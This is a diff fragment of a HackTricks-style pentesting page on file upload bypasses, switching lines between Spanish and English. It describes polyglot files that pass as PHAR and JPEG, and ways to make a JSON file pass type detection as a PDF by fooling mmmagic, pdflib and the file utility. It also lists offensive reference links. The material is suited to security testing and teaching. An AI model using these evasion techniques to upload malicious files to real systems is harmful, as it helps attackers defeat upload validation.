Common practice in various applications entails permitting only certain file types for upload—like JPEG, GIF, or DOC—to mitigate the risk posed by potentially harmful formats (e.g., JS, PHP, or Phar files). However, a polyglot, by conforming to the structural criteria of multiple file types, can stealthily bypass these restrictions. -A pesar de su adaptabilidad, los políglota enfrentan limitaciones. Por ejemplo, mientras un políglota podría encarnar simultáneamente un archivo PHAR (PHp ARchive) y un JPEG, el éxito de su carga podría depender de las políticas de extensión de archivos de la plataforma. Si el sistema es estricto respecto a las extensiones permitidas, la mera dualidad estructural de un políglota puede no ser suficiente para garantizar su carga. +Despite their adaptability, polyglots do encounter limitations. For instance, while a polyglot might simultaneously embody a PHAR file (PHp ARchive) and a JPEG, the success of its upload might hinge on the platform's file extension policies. If the system is stringent about allowable extensions, the mere structural duality of a polyglot may not suffice to guarantee its upload. -Más información en: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) +More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) ### Subir JSONs válidos como si fueran PDF -Cómo evitar detecciones de tipo de archivo subiendo un archivo JSON válido incluso si no está permitido, simulando un archivo PDF (técnicas de **[este blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**): +How to avoid file type detections by uploading a valid JSON file even if not allowed by faking a PDF file (techniques from **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**): -- **`mmmagic` library**: Mientras los bytes mágicos `%PDF` estén en los primeros 1024 bytes, es válido (obtener ejemplo del post) -- **`pdflib` library**: Agregar un formato PDF falso dentro de un campo del JSON para que la biblioteca piense que es un pdf (obtener ejemplo del post) -- **`file` binary**: Puede leer hasta 1048576 bytes de un archivo. Solo crea un JSON más grande que eso para que no pueda analizar el contenido como un json y luego dentro del JSON pon la parte inicial de un PDF real y pensará que es un PDF +- **`mmmagic` librería**: Siempre que los bytes mágicos `%PDF` estén en los primeros 1024 bytes es válido (ver ejemplo en el post) +- **`pdflib` librería**: Añade un formato PDF falso dentro de un campo del JSON para que la librería piense que es un PDF (ver ejemplo en el post) +- **`file` binario**: Puede leer hasta 1048576 bytes de un archivo. Simplemente crea un JSON más grande que eso para que no pueda parsear el contenido como JSON y luego, dentro del JSON, pon la parte inicial de un PDF real y pensará que es un PDF -## Referencias +## References - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files) - [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner) @@ -322,5 +327,6 @@ Cómo evitar detecciones de tipo de archivo subiendo un archivo JSON válido inc - [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) - [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) - [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html) +- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) {{#include ../../banners/hacktricks-training.md}}